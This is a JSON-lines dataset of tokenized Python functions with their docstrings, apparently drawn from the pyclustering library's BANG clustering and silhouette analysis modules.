{"signature": "def __split_block(self, block, split_dimension, cache_require, current_level_blocks):", "body": "if block.get_density() <= self.__density_threshold or len(block) <= self.__amount_density:<EOL><INDENT>self.__leafs.append(block)<EOL><DEDENT>else:<EOL><INDENT>left, right = block.split(split_dimension, cache_require)<EOL>current_level_blocks.append(left)<EOL>current_level_blocks.append(right)<EOL><DEDENT>", "docstring": "!\n        @brief Split specific block in specified dimension.\n        @details Split is not performed for block whose density is lower than threshold value, such blocks are putted to\n                  leafs.\n\n        @param[in] block (bang_block): BANG-block that should be split.\n        @param[in] split_dimension (uint): Dimension at which splitting should be performed.\n        @param[in] cache_require (bool): Defines when points in cache should be stored during density calculation.\n        @param[in|out] current_level_blocks (list): Block storage at the current level where new blocks should be added.", "id": "f15588:c2:m10"}
{"signature": "def __init__(self, max_corner, min_corner):", "body": "self.__max_corner = max_corner<EOL>self.__min_corner = min_corner<EOL>self.__volume = self.__calculate_volume()<EOL>", "docstring": "!\n        @brief Creates spatial block in data space.\n\n        @param[in] max_corner (array_like): Maximum corner coordinates of the block.\n        @param[in] min_corner (array_like): Minimal corner coordinates of the block.", "id": "f15588:c3:m0"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\" % (self.__max_corner, self.__min_corner)<EOL>", "docstring": "!\n        @brief Returns string block description.\n\n        @return String representation of the block.", "id": "f15588:c3:m1"}
{"signature": "def __contains__(self, point):", "body": "for i in range(len(point)):<EOL><INDENT>if point[i] < self.__min_corner[i] or point[i] > self.__max_corner[i]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "!\n        @brief Point is considered as contained if it lies in block (belong to it).\n\n        @return (bool) True if point is in block, otherwise False.", "id": "f15588:c3:m2"}
{"signature": "def get_corners(self):", "body": "return self.__max_corner, self.__min_corner<EOL>", "docstring": "!\n        @brief Return spatial description of current block.\n\n        @return (tuple) Pair of maximum and minimum corners (max_corner, min_corner).", "id": "f15588:c3:m3"}
{"signature": "def get_volume(self):", "body": "return self.__volume<EOL>", "docstring": "!\n        @brief Returns volume of current block.\n        @details Volume block has uncommon mining here: for 1D is length of a line, for 2D is square of rectangle,\n                  for 3D is volume of 3D figure, and for ND is volume of ND figure.\n\n        @return (double) Volume of current block.", "id": "f15588:c3:m4"}
{"signature": "def split(self, dimension):", "body": "first_max_corner = self.__max_corner[:]<EOL>second_min_corner = self.__min_corner[:]<EOL>split_border = (self.__max_corner[dimension] + self.__min_corner[dimension]) / <NUM_LIT><EOL>first_max_corner[dimension] = split_border<EOL>second_min_corner[dimension] = split_border<EOL>return spatial_block(first_max_corner, self.__min_corner), spatial_block(self.__max_corner, second_min_corner)<EOL>", "docstring": "!\n        @brief Split current block into two spatial blocks in specified dimension.\n\n        @param[in] dimension (uint): Dimension where current block should be split.\n\n        @return (tuple) Pair of new split blocks from current block.", "id": "f15588:c3:m5"}
{"signature": "def is_neighbor(self, block):", "body": "if block is not self:<EOL><INDENT>block_max_corner, _ = block.get_corners()<EOL>dimension = len(block_max_corner)<EOL>neighborhood_score = self.__calculate_neighborhood(block_max_corner)<EOL>if neighborhood_score == dimension:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "!\n        @brief Performs calculation to identify whether specified block is neighbor of current block.\n        @details It also considers diagonal blocks as neighbors.\n\n        @param[in] block (spatial_block): Another block that is check whether it is neighbor.\n\n        @return (bool) True is blocks are neighbors, False otherwise.", "id": "f15588:c3:m6"}
{"signature": "def __calculate_neighborhood(self, block_max_corner):", "body": "dimension = len(block_max_corner)<EOL>length_edges = [self.__max_corner[i] - self.__min_corner[i] for i in range(dimension)]<EOL>neighborhood_score = <NUM_LIT:0><EOL>for i in range(dimension):<EOL><INDENT>diff = abs(block_max_corner[i] - self.__max_corner[i])<EOL>if diff <= length_edges[i] + length_edges[i] * <NUM_LIT>:<EOL><INDENT>neighborhood_score += <NUM_LIT:1><EOL><DEDENT><DEDENT>return neighborhood_score<EOL>", "docstring": "!\n        @brief Calculates neighborhood score that defined whether blocks are neighbors.\n\n        @param[in] block_max_corner (list): Maximum coordinates of other block.\n\n        @return (uint) Neighborhood score.", "id": "f15588:c3:m7"}
{"signature": "def __calculate_volume(self):", "body": "volume = <NUM_LIT:0.0><EOL>for i in range(<NUM_LIT:0>, len(self.__max_corner)):<EOL><INDENT>side_length = self.__max_corner[i] - self.__min_corner[i]<EOL>if side_length != <NUM_LIT:0.0>:<EOL><INDENT>if volume == <NUM_LIT:0.0>: volume = side_length<EOL>else: volume *= side_length<EOL><DEDENT><DEDENT>return volume<EOL>", "docstring": "!\n        @brief Calculates volume of current spatial block.\n        @details If empty dimension is detected (where all points has the same value) then such dimension is ignored\n                  during calculation of volume.\n\n        @return (double) Volume of current spatial block.", "id": "f15588:c3:m8"}
{"signature": "def __init__(self, data, region, level, space_block, cache_points=False):", "body": "self.__data = data<EOL>self.__region_number = region<EOL>self.__level = level<EOL>self.__spatial_block = space_block<EOL>self.__cache_points = cache_points<EOL>self.__cluster = None<EOL>self.__points = None<EOL>self.__amount_points = self.__get_amount_points()<EOL>self.__density = self.__calculate_density(self.__amount_points)<EOL>", "docstring": "!\n        @brief Create BANG-block.\n\n        @param[in] data (list): List of points that are processed.\n        @param[in] region (uint): Region number - unique value on a level.\n        @param[in] level (uint): Level number where block is created.\n        @param[in] space_block (spatial_block): Spatial block description in data space.\n        @param[in] cache_points (bool): if True then points are stored in memory (used for leaf blocks).", "id": "f15588:c4:m0"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT:(>\" + str(self.__region_number) + \"<STR_LIT:U+002CU+0020>\" + str(self.__level) + \"<STR_LIT:)>\"<EOL>", "docstring": "!\n        @brief Returns string representation of BANG-block using region number and level where block is located.", "id": "f15588:c4:m1"}
{"signature": "def __len__(self):", "body": "return self.__amount_points<EOL>", "docstring": "!\n        @brief Returns block size defined by amount of points that are contained by this block.", "id": "f15588:c4:m2"}
{"signature": "def get_region(self):", "body": "return self.__region_number<EOL>", "docstring": "!\n        @brief Returns region number of BANG-block.\n        @details Region number is unique on among region numbers on a directory level. Pair of region number and level\n                  is unique for all directory.\n\n        @return (uint) Region number.", "id": "f15588:c4:m3"}
{"signature": "def get_density(self):", "body": "return self.__density<EOL>", "docstring": "!\n        @brief Returns density of the BANG-block.\n\n        @return (double) BANG-block density.", "id": "f15588:c4:m4"}
{"signature": "def get_cluster(self):", "body": "return self.__cluster<EOL>", "docstring": "!\n        @brief Return index of cluster to which the BANG-block belongs to.\n        @details Index of cluster may have None value if the block was not assigned to any cluster.\n\n        @return (uint) Index of cluster or None if the block does not belong to any cluster.", "id": "f15588:c4:m5"}
{"signature": "def get_spatial_block(self):", "body": "return self.__spatial_block<EOL>", "docstring": "!\n        @brief Return spatial block - BANG-block description in data space.\n\n        @return (spatial_block) Spatial block of the BANG-block.", "id": "f15588:c4:m6"}
{"signature": "def get_points(self):", "body": "if self.__points is None:<EOL><INDENT>self.__cache_covered_data()<EOL><DEDENT>return self.__points<EOL>", "docstring": "!\n        @brief Return points that covers by the BANG-block.\n\n        @return (list) List of point indexes that are covered by the block.", "id": "f15588:c4:m7"}
{"signature": "def set_cluster(self, index):", "body": "self.__cluster = index<EOL>", "docstring": "!\n        @brief Assign cluster to the BANG-block by index.\n\n        @param[in] index (uint): Index cluster that is assigned to BANG-block.", "id": "f15588:c4:m8"}
{"signature": "def is_neighbor(self, block):", "body": "return self.get_spatial_block().is_neighbor(block.get_spatial_block())<EOL>", "docstring": "!\n        @brief Performs calculation to check whether specified block is neighbor to the current.\n\n        @param[in] block (bang_block): Other BANG-block that should be checked for neighborhood.\n\n        @return (bool) True if blocks are neighbors, False if blocks are not neighbors.", "id": "f15588:c4:m9"}
{"signature": "def split(self, split_dimension, cache_points):", "body": "left_region_number = self.__region_number<EOL>right_region_number = self.__region_number + <NUM_LIT:2> ** self.__level<EOL>first_spatial_block, second_spatial_block = self.__spatial_block.split(split_dimension)<EOL>left = bang_block(self.__data, left_region_number, self.__level + <NUM_LIT:1>, first_spatial_block, cache_points)<EOL>right = bang_block(self.__data, right_region_number, self.__level + <NUM_LIT:1>, second_spatial_block, cache_points)<EOL>return left, right<EOL>", "docstring": "!\n        @brief Split BANG-block into two new blocks in specified dimension.\n\n        @param[in] split_dimension (uint): Dimension where block should be split.\n        @param[in] cache_points (bool): If True then covered points are cached. Used for leaf blocks.\n\n        @return (tuple) Pair of BANG-block that were formed from the current.", "id": "f15588:c4:m10"}
{"signature": "def __calculate_density(self, amount_points):", "body": "volume = self.__spatial_block.get_volume()<EOL>if volume != <NUM_LIT:0.0>:<EOL><INDENT>return amount_points / volume<EOL><DEDENT>return <NUM_LIT:0.0><EOL>", "docstring": "!\n        @brief Calculates BANG-block density.\n\n        @param[in] amount_points (uint): Amount of points in block.\n\n        @return (double) BANG-block density.", "id": "f15588:c4:m11"}
{"signature": "def __get_amount_points(self):", "body": "amount = <NUM_LIT:0><EOL>for index in range(len(self.__data)):<EOL><INDENT>if self.__data[index] in self.__spatial_block:<EOL><INDENT>self.__cache_point(index)<EOL>amount += <NUM_LIT:1><EOL><DEDENT><DEDENT>return amount<EOL>", "docstring": "!\n        @brief Count covered points by the BANG-block and if cache is enable then covered points are stored.\n\n        @return (uint) Amount of covered points.", "id": "f15588:c4:m12"}
{"signature": "def __cache_covered_data(self):", "body": "self.__cache_points = True<EOL>self.__points = []<EOL>for index_point in range(len(self.__data)):<EOL><INDENT>if self.__data[index_point] in self.__spatial_block:<EOL><INDENT>self.__cache_point(index_point)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Cache covered data.", "id": "f15588:c4:m13"}
{"signature": "def __cache_point(self, index):", "body": "if self.__cache_points:<EOL><INDENT>if self.__points is None:<EOL><INDENT>self.__points = []<EOL><DEDENT>self.__points.append(index)<EOL><DEDENT>", "docstring": "!\n        @brief Store index points.\n\n        @param[in] index (uint): Index point that should be stored.", "id": "f15588:c4:m14"}
{"signature": "def __init__(self, data, levels, ccore=False, **kwargs):", "body": "self.__data = data<EOL>self.__levels = levels<EOL>self.__directory = None<EOL>self.__clusters = []<EOL>self.__noise = []<EOL>self.__cluster_blocks = []<EOL>self.__dendrogram = []<EOL>self.__density_threshold = kwargs.get('<STR_LIT>', <NUM_LIT:0.0>)<EOL>self.__amount_threshold = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>self.__ccore = ccore<EOL>self.__validate_arguments()<EOL>", "docstring": "!\n        @brief Create BANG clustering algorithm.\n\n        @param[in] data (list): Input data (list of points) that should be clustered.\n        @param[in] levels (uint): Amount of levels in tree that is used for splitting (how many times block should be\n                    split). For example, if amount of levels is two then surface will be divided into two blocks and\n                    each obtained block will be divided into blocks also.\n        @param[in] ccore (bool): Reserved positional argument - not used yet.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'observe').\n\n        <b>Keyword Args:</b><br>\n            - density_threshold (double): If block density is smaller than this value then contained data by this\n               block is considered as a noise and its points as outliers. Block density is defined by amount of\n               points in block divided by block volume: <i>amount_block_points</i>/<i>block_volume</i>. By default\n               it is 0.0 - means than only empty blocks are considered as noise. Be aware that this parameter is used\n               with parameter 'amount_threshold' - the maximum threshold is considered during processing.\n            - amount_threshold (uint): Amount of points in the block when it contained data in bang-block is\n               considered as a noise and there is no need to split it till the last level. Be aware that this parameter\n               is used with parameter 'density_threshold' - the maximum threshold is considered during processing.", "id": "f15588:c5:m0"}
{"signature": "def process(self):", "body": "self.__directory = bang_directory(self.__data, self.__levels,<EOL>density_threshold=self.__density_threshold,<EOL>amount_threshold=self.__amount_threshold)<EOL>self.__allocate_clusters()<EOL>return self<EOL>", "docstring": "!\n        @brief Performs clustering process in line with rules of BANG clustering algorithm.\n\n        @return (bang) Returns itself (BANG instance).\n\n        @see get_clusters()\n        @see get_noise()\n        @see get_directory()\n        @see get_dendrogram()", "id": "f15588:c5:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns allocated clusters.\n\n        @remark Allocated clusters are returned only after data processing (method process()). Otherwise empty list is returned.\n\n        @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()\n        @see get_noise()", "id": "f15588:c5:m2"}
{"signature": "def get_noise(self):", "body": "return self.__noise<EOL>", "docstring": "!\n        @brief Returns allocated noise.\n\n        @remark Allocated noise is returned only after data processing (method process()). Otherwise empty list is returned.\n\n        @return (list) List of indexes that are marked as a noise.\n\n        @see process()\n        @see get_clusters()", "id": "f15588:c5:m3"}
{"signature": "def get_directory(self):", "body": "return self.__directory<EOL>", "docstring": "!\n        @brief Returns grid directory that describes grid of the processed data.\n\n        @remark Grid directory is returned only after data processing (method process()). Otherwise None value is returned.\n\n        @return (bang_directory) BANG directory that describes grid of process data.\n\n        @see process()", "id": "f15588:c5:m4"}
{"signature": "def get_dendrogram(self):", "body": "return self.__dendrogram<EOL>", "docstring": "!\n        @brief Returns dendrogram of clusters.\n        @details Dendrogram is created in following way: the density indices of all regions are calculated and sorted\n                  in decreasing order for each cluster during clustering process.\n\n        @remark Dendrogram is returned only after data processing (method process()). Otherwise empty list is returned.", "id": "f15588:c5:m5"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15588:c5:m6"}
{"signature": "def __validate_arguments(self):", "body": "if self.__levels <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__levels)<EOL><DEDENT>if len(self.__data) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.__density_threshold < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__density_threshold)<EOL><DEDENT>", "docstring": "!\n        @brief Check input arguments of BANG algorithm and if one of them is not correct then appropriate exception\n                is thrown.", "id": "f15588:c5:m7"}
{"signature": "def __allocate_clusters(self):", "body": "leaf_blocks = self.__directory.get_leafs()<EOL>unhandled_block_indexes = set([i for i in range(len(leaf_blocks)) if leaf_blocks[i].get_density() > self.__density_threshold])<EOL>current_block = self.__find_block_center(leaf_blocks, unhandled_block_indexes)<EOL>cluster_index = <NUM_LIT:0><EOL>while current_block is not None:<EOL><INDENT>if current_block.get_density() <= self.__density_threshold or len(current_block) <= self.__amount_threshold:<EOL><INDENT>break<EOL><DEDENT>self.__expand_cluster_block(current_block, cluster_index, leaf_blocks, unhandled_block_indexes)<EOL>current_block = self.__find_block_center(leaf_blocks, unhandled_block_indexes)<EOL>cluster_index += <NUM_LIT:1><EOL><DEDENT>self.__store_clustering_results(cluster_index, leaf_blocks)<EOL>", "docstring": "!\n        @brief Performs cluster allocation using leafs of tree in BANG directory (the smallest cells).", "id": "f15588:c5:m8"}
{"signature": "def __expand_cluster_block(self, block, cluster_index, leaf_blocks, unhandled_block_indexes):", "body": "block.set_cluster(cluster_index)<EOL>self.__update_cluster_dendrogram(cluster_index, [block])<EOL>neighbors = self.__find_block_neighbors(block, leaf_blocks, unhandled_block_indexes)<EOL>self.__update_cluster_dendrogram(cluster_index, neighbors)<EOL>for neighbor in neighbors:<EOL><INDENT>neighbor.set_cluster(cluster_index)<EOL>neighbor_neighbors = self.__find_block_neighbors(neighbor, leaf_blocks, unhandled_block_indexes)<EOL>self.__update_cluster_dendrogram(cluster_index, neighbor_neighbors)<EOL>neighbors += neighbor_neighbors<EOL><DEDENT>", "docstring": "!\n        @brief Expand cluster from specific block that is considered as a central block.\n\n        @param[in] block (bang_block): Block that is considered as a central block for cluster.\n        @param[in] cluster_index (uint): Index of cluster that is assigned to blocks that forms new cluster.\n        @param[in] leaf_blocks (list): Leaf BANG-blocks that are considered during cluster formation.\n        @param[in] unhandled_block_indexes (set): Set of candidates (BANG block indexes) to become a cluster member. The\n                    parameter helps to reduce traversing among BANG-block providing only restricted set of block that\n                    should be considered.", "id": "f15588:c5:m9"}
{"signature": "def __store_clustering_results(self, amount_clusters, leaf_blocks):", "body": "self.__clusters = [[] for _ in range(amount_clusters)]<EOL>for block in leaf_blocks:<EOL><INDENT>index = block.get_cluster()<EOL>if index is not None:<EOL><INDENT>self.__clusters[index] += block.get_points()<EOL><DEDENT>else:<EOL><INDENT>self.__noise += block.get_points()<EOL><DEDENT><DEDENT>self.__clusters = [ list(set(cluster)) for cluster in self.__clusters ]<EOL>self.__noise = list(set(self.__noise))<EOL>", "docstring": "!\n        @brief Stores clustering results in a convenient way.\n\n        @param[in] amount_clusters (uint): Amount of cluster that was allocated during processing.\n        @param[in] leaf_blocks (list): Leaf BANG-blocks (the smallest cells).", "id": "f15588:c5:m10"}
{"signature": "def __find_block_center(self, level_blocks, unhandled_block_indexes):", "body": "for i in reversed(range(len(level_blocks))):<EOL><INDENT>if level_blocks[i].get_density() <= self.__density_threshold:<EOL><INDENT>return None<EOL><DEDENT>if level_blocks[i].get_cluster() is None:<EOL><INDENT>unhandled_block_indexes.remove(i)<EOL>return level_blocks[i]<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "!\n        @brief Search block that is cluster center for new cluster.\n\n        @return (bang_block) Central block for new cluster, if cluster is not found then None value is returned.", "id": "f15588:c5:m11"}
{"signature": "def __find_block_neighbors(self, block, level_blocks, unhandled_block_indexes):", "body": "neighbors = []<EOL>handled_block_indexes = []<EOL>for unhandled_index in unhandled_block_indexes:<EOL><INDENT>if block.is_neighbor(level_blocks[unhandled_index]):<EOL><INDENT>handled_block_indexes.append(unhandled_index)<EOL>neighbors.append(level_blocks[unhandled_index])<EOL>if len(neighbors) == <NUM_LIT:8>:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>for handled_index in handled_block_indexes:<EOL><INDENT>unhandled_block_indexes.remove(handled_index)<EOL><DEDENT>return neighbors<EOL>", "docstring": "!\n        @brief Search block neighbors that are parts of new clusters (density is greater than threshold and that are\n                not cluster members yet), other neighbors are ignored.\n\n        @param[in] block (bang_block): BANG-block for which neighbors should be found (which can be part of cluster).\n        @param[in] level_blocks (list): BANG-blocks on specific level.\n        @param[in] unhandled_block_indexes (set): Blocks that have not been processed yet.\n\n        @return (list) Block neighbors that can become part of cluster.", "id": "f15588:c5:m12"}
{"signature": "def __update_cluster_dendrogram(self, index_cluster, blocks):", "body": "if len(self.__dendrogram) <= index_cluster:<EOL><INDENT>self.__dendrogram.append([])<EOL><DEDENT>blocks = sorted(blocks, key=lambda block: block.get_density(), reverse=True)<EOL>self.__dendrogram[index_cluster] += blocks<EOL>", "docstring": "!\n        @brief Append clustered blocks to dendrogram.\n\n        @param[in] index_cluster (uint): Cluster index that was assigned to blocks.\n        @param[in] blocks (list): Blocks that were clustered.", "id": "f15588:c5:m13"}
{"signature": "def __init__(self, data, clusters, **kwargs):", "body": "self.__data = data<EOL>self.__clusters = clusters<EOL>self.__metric = kwargs.get('<STR_LIT>', distance_metric(type_metric.EUCLIDEAN_SQUARE))<EOL>if self.__metric.get_type() != type_metric.USER_DEFINED:<EOL><INDENT>self.__metric.enable_numpy_usage()<EOL><DEDENT>else:<EOL><INDENT>self.__metric.disable_numpy_usage()<EOL><DEDENT>self.__score = [<NUM_LIT:0.0>] * len(data)<EOL>self.__ccore = kwargs.get('<STR_LIT>', True) and self.__metric.get_type() != type_metric.USER_DEFINED<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>if self.__ccore is False:<EOL><INDENT>self.__data = numpy.array(data)<EOL><DEDENT>", "docstring": "!\n        @brief Initializes Silhouette method for analysis.\n\n        @param[in] data (array_like): Input data that was used for cluster analysis.\n        @param[in] clusters (list): Cluster that have been obtained after cluster analysis.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'metric').\n\n        <b>Keyword Args:</b><br>\n            - metric (distance_metric): Metric that was used for cluster analysis and should be used for Silhouette\n               score calculation (by default Square Euclidean distance).\n            - ccore (bool): If True then CCORE (C++ implementation of pyclustering library) is used (by default True).", "id": "f15589:c0:m0"}
{"signature": "def process(self):", "body": "if self.__ccore is True:<EOL><INDENT>self.__process_by_ccore()<EOL><DEDENT>else:<EOL><INDENT>self.__process_by_python()<EOL><DEDENT>return self<EOL>", "docstring": "!\n        @brief Calculates Silhouette score for each object from input data.\n\n        @return (silhouette) Instance of the method (self).", "id": "f15589:c0:m1"}
{"signature": "def __process_by_ccore(self):", "body": "ccore_metric = metric_wrapper.create_instance(self.__metric)<EOL>self.__score = wrapper.silhoeutte(self.__data, self.__clusters, ccore_metric.get_pointer())<EOL>", "docstring": "!\n        @brief Performs processing using CCORE (C/C++ part of pyclustering library).", "id": "f15589:c0:m2"}
{"signature": "def __process_by_python(self):", "body": "for index_cluster in range(len(self.__clusters)):<EOL><INDENT>for index_point in self.__clusters[index_cluster]:<EOL><INDENT>self.__score[index_point] = self.__calculate_score(index_point, index_cluster)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Performs processing using python code.", "id": "f15589:c0:m3"}
{"signature": "def get_score(self):", "body": "return self.__score<EOL>", "docstring": "!\n        @brief Returns Silhouette score for each object from input data.\n\n        @see process", "id": "f15589:c0:m4"}
{"signature": "def __calculate_score(self, index_point, index_cluster):", "body": "difference = self.__calculate_dataset_difference(index_point)<EOL>a_score = self.__calculate_within_cluster_score(index_cluster, difference)<EOL>b_score = self.__caclulate_optimal_neighbor_cluster_score(index_cluster, difference)<EOL>return (b_score - a_score) / max(a_score, b_score)<EOL>", "docstring": "!\n        @brief Calculates Silhouette score for the specific object defined by index_point.\n\n        @param[in] index_point (uint): Index point from input data for which Silhouette score should be calculated.\n        @param[in] index_cluster (uint): Index cluster to which the point belongs to.\n\n        @return (float) Silhouette score for the object.", "id": "f15589:c0:m5"}
{"signature": "def __calculate_within_cluster_score(self, index_cluster, difference):", "body": "score = self.__calculate_cluster_difference(index_cluster, difference)<EOL>if len(self.__clusters[index_cluster]) == <NUM_LIT:1>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return score / (len(self.__clusters[index_cluster]) - <NUM_LIT:1>)<EOL>", "docstring": "!\n        @brief Calculates 'A' score for the specific object in cluster to which it belongs to.\n\n        @param[in] index_point (uint): Index point from input data for which 'A' score should be calculated.\n        @param[in] index_cluster (uint): Index cluster to which the point is belong to.\n\n        @return (float) 'A' score for the object.", "id": "f15589:c0:m6"}
{"signature": "def __calculate_cluster_score(self, index_cluster, difference):", "body": "score = self.__calculate_cluster_difference(index_cluster, difference)<EOL>return score / len(self.__clusters[index_cluster])<EOL>", "docstring": "!\n        @brief Calculates 'B*' score for the specific object for specific cluster.\n\n        @param[in] index_point (uint): Index point from input data for which 'B*' score should be calculated.\n        @param[in] index_cluster (uint): Index cluster to which the point is belong to.\n\n        @return (float) 'B*' score for the object for specific cluster.", "id": "f15589:c0:m7"}
{"signature": "def __caclulate_optimal_neighbor_cluster_score(self, index_cluster, difference):", "body": "optimal_score = float('<STR_LIT>')<EOL>for index_neighbor_cluster in range(len(self.__clusters)):<EOL><INDENT>if index_cluster != index_neighbor_cluster:<EOL><INDENT>candidate_score = self.__calculate_cluster_score(index_neighbor_cluster, difference)<EOL>if candidate_score < optimal_score:<EOL><INDENT>optimal_score = candidate_score<EOL><DEDENT><DEDENT><DEDENT>if optimal_score == float('<STR_LIT>'):<EOL><INDENT>optimal_score = -<NUM_LIT:1.0><EOL><DEDENT>return optimal_score<EOL>", "docstring": "!\n        @brief Calculates 'B' score for the specific object for the nearest cluster.\n\n        @param[in] index_point (uint): Index point from input data for which 'B' score should be calculated.\n        @param[in] index_cluster (uint): Index cluster to which the point is belong to.\n\n        @return (float) 'B' score for the object.", "id": "f15589:c0:m8"}
{"signature": "def __calculate_cluster_difference(self, index_cluster, difference):", "body": "cluster_difference = <NUM_LIT:0.0><EOL>for index_point in self.__clusters[index_cluster]:<EOL><INDENT>cluster_difference += difference[index_point]<EOL><DEDENT>return cluster_difference<EOL>", "docstring": "!\n        @brief Calculates distance from each object in specified cluster to specified object.\n\n        @param[in] index_point (uint): Index point for which difference is calculated.\n\n        @return (list) Distance from specified object to each object from input data in specified cluster.", "id": "f15589:c0:m9"}
{"signature": "def __calculate_dataset_difference(self, index_point):", "body": "if self.__metric.get_type() != type_metric.USER_DEFINED:<EOL><INDENT>dataset_differences = self.__metric(self.__data, self.__data[index_point])<EOL><DEDENT>else:<EOL><INDENT>dataset_differences = [self.__metric(point, self.__data[index_point]) for point in self.__data]<EOL><DEDENT>return dataset_differences<EOL>", "docstring": "!\n        @brief Calculate distance from each object to specified object.\n\n        @param[in] index_point (uint): Index point for which difference with other points is calculated.\n\n        @return (list) Distance to each object from input data from the specified.", "id": "f15589:c0:m10"}
{"signature": "def get_type(self):", "body": "if self == silhouette_ksearch_type.KMEANS:<EOL><INDENT>return kmeans<EOL><DEDENT>elif self == silhouette_ksearch_type.KMEDIANS:<EOL><INDENT>return kmedians<EOL><DEDENT>elif self == silhouette_ksearch_type.KMEDOIDS:<EOL><INDENT>return kmedoids<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "!\n        @brief Returns algorithm type that corresponds to specified enumeration value.\n\n        @return (type) Algorithm type for cluster analysis.", "id": "f15589:c1:m0"}
{"signature": "def __init__(self, data, kmin, kmax, **kwargs):", "body": "self.__data = data<EOL>self.__kmin = kmin<EOL>self.__kmax = kmax<EOL>self.__algorithm = kwargs.get('<STR_LIT>', silhouette_ksearch_type.KMEANS)<EOL>self.__return_index = self.__algorithm == silhouette_ksearch_type.KMEDOIDS<EOL>self.__amount = -<NUM_LIT:1><EOL>self.__score = -<NUM_LIT:1.0><EOL>self.__scores = {}<EOL>self.__verify_arguments()<EOL>self.__ccore = kwargs.get('<STR_LIT>', True)<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>", "docstring": "!\n        @brief Initialize Silhouette search algorithm to find out optimal amount of clusters.\n\n        @param[in] data (array_like): Input data that is used for searching optimal amount of clusters.\n        @param[in] kmin (uint): Amount of clusters from which search is performed. Should be equal or greater than 2.\n        @param[in] kmax (uint): Amount of clusters to which search is performed. Should be equal or less than amount of\n                    points in input data.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'algorithm').\n\n        <b>Keyword Args:</b><br>\n            - algorithm (silhouette_ksearch_type): Defines algorithm that is used for searching optimal number of\n               clusters (by default K-Means).\n            - ccore (bool): If True then CCORE (C++ implementation of pyclustering library) is used (by default True).", "id": "f15589:c2:m0"}
{"signature": "def process(self):", "body": "if self.__ccore is True:<EOL><INDENT>self.__process_by_ccore()<EOL><DEDENT>else:<EOL><INDENT>self.__process_by_python()<EOL><DEDENT>return self<EOL>", "docstring": "!\n        @brief Performs analysis to find optimal amount of clusters.\n\n        @see get_amount, get_score, get_scores\n\n        @return (silhouette_search) Itself instance (silhouette_search)", "id": "f15589:c2:m1"}
{"signature": "def __process_by_ccore(self):", "body": "results = wrapper.silhoeutte_ksearch(self.__data, self.__kmin, self.__kmax, self.__algorithm)<EOL>self.__amount = results[<NUM_LIT:0>]<EOL>self.__score = results[<NUM_LIT:1>]<EOL>self.__scores = results[<NUM_LIT:2>]<EOL>", "docstring": "!\n        @brief Performs processing using CCORE (C/C++ part of pyclustering library).", "id": "f15589:c2:m2"}
{"signature": "def __process_by_python(self):", "body": "self.__scores = {}<EOL>for k in range(self.__kmin, self.__kmax):<EOL><INDENT>clusters = self.__calculate_clusters(k)<EOL>if len(clusters) != k:<EOL><INDENT>self.__scores[k] = float('<STR_LIT>')<EOL>continue<EOL><DEDENT>score = silhouette(self.__data, clusters).process().get_score()<EOL>self.__scores[k] = sum(score) / len(score)<EOL>if self.__scores[k] > self.__score:<EOL><INDENT>self.__score = self.__scores[k]<EOL>self.__amount = k<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Performs processing using python code.", "id": "f15589:c2:m3"}
{"signature": "def get_amount(self):", "body": "return self.__amount<EOL>", "docstring": "!\n        @brief Returns optimal amount of clusters that has been found during analysis.\n\n        @return (uint) Optimal amount of clusters.\n\n        @see process", "id": "f15589:c2:m4"}
{"signature": "def get_score(self):", "body": "return self.__score<EOL>", "docstring": "!\n        @brief Returns silhouette score that belongs to optimal amount of clusters (k).\n\n        @return (float) Score that belong to optimal amount of clusters.\n\n        @see process, get_scores", "id": "f15589:c2:m5"}
{"signature": "def get_scores(self):", "body": "return self.__scores<EOL>", "docstring": "!\n        @brief Returns silhouette score for each K value (amount of clusters).\n\n        @return (dict) Silhouette score for each K value, where key is a K value and value is a silhouette score.\n\n        @see process, get_score", "id": "f15589:c2:m6"}
{"signature": "def __calculate_clusters(self, k):", "body": "initial_values = kmeans_plusplus_initializer(self.__data, k).initialize(return_index=self.__return_index)<EOL>algorithm_type = self.__algorithm.get_type()<EOL>return algorithm_type(self.__data, initial_values).process().get_clusters()<EOL>", "docstring": "!\n        @brief Performs cluster analysis using specified K value.\n\n        @param[in] k (uint): Amount of clusters that should be allocated.\n\n        @return (array_like) Allocated clusters.", "id": "f15589:c2:m7"}
